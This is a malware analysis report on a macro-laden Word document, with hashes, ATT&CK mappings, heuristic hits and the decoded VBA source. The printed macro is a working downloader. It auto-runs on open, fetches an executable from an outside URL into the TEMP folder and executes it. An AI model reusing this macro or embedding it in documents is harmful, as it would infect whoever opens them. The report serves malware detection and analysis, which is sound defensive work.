Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e51a4a96871b2d10…

MALICIOUS

Office (OLE)

30.0 KB Created: 2014-05-31 04:23:00 Authoring application: Microsoft Office Word First seen: 2015-10-13
MD5: ead8dc5ac19eac3deb8ee4345d4b04b0 SHA-1: 323947b45df9fd7aca32873597613a59bbee9081 SHA-256: e51a4a96871b2d1098f9f63f99f82dc808e3196f6de700af6edd436539f309ed
374 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic T1105 Ingress Tool Transfer

The sample is a malicious Word document that uses a social engineering lure to trick the user into enabling macros. Upon enabling, the VBA macro executes the `SOEXQY` subroutine, which calls `KTUYYB`. This function uses `URLDownloadToFileA` to download a file from `http://www.suremovements.com/toss.exe` to the temporary directory as `HKAIKG.exe`. Subsequently, it executes the downloaded file using `Shell`. The presence of `URLDownloadToFileA` and the execution of a downloaded file strongly indicate an Ingress Tool Transfer (T1105) attack pattern.

Heuristics 13

  • ClamAV: Doc.Downloader.Generic-6698421-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-6698421-0
  • Reference to URLDownloadToFile API critical SC_STR_URLDOWNLOAD
    Reference to URLDownloadToFile API
  • VBA macros detected medium 7 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        AOXQQB = Shell(QHSIIR, 1)
  • URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD
    URLDownloadToFile in VBA
    Matched line in script
        Private Declare PtrSafe Function URLDownloadToFileA Lib "urlmon" (ByVal KKPGFG As Long, _
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Sub Workbook_Open()
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
        Auto_Open
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        KTUYYB "http://www.suremovements.com/toss.exe", Environ("TEMP") & "\HKAIKG.exe"
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.suremovements.com/toss.exe Referenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/mainReferenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1206 bytes
SHA-256: e0188399c4a584a500d554e92f99ba0ead032e41bc724551e55d7e25a7a01c8f
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit
#If Win64 Then
    Private Declare PtrSafe Function URLDownloadToFileA Lib "urlmon" (ByVal KKPGFG As Long, _
ByVal KFGNDF As String, ByVal MNPBUA As String, ByVal OVXCRG As Long, _
ByVal XOAODT As Long) As Long
#Else
    Private Declare Function URLDownloadToFileA Lib "urlmon" (ByVal KKPGFG As Long, _
ByVal KFGNDF As String, ByVal MNPBUA As String, ByVal OVXCRG As Long, _
ByVal XOAODT As Long) As Long
#End If
Function KTUYYB(KOGRXF As String, QHSIIR As String) As Boolean
    Dim GVBMUP As Long
    GVBMUP = URLDownloadToFileA(0, KOGRXF, QHSIIR, 0, 0)
    If GVBMUP = 0 Then KTUYYB = True
    Dim AOXQQB
    AOXQQB = Shell(QHSIIR, 1)
End Function
Public Sub SOEXQY()
    KTUYYB "http://www.suremovements.com/toss.exe", Environ("TEMP") & "\HKAIKG.exe"
End Sub
Sub Workbook_Open()
    Auto_Open
End Sub
Sub AutoOpen()
    Auto_Open
End Sub
Sub Auto_Open()
SOEXQY
End Sub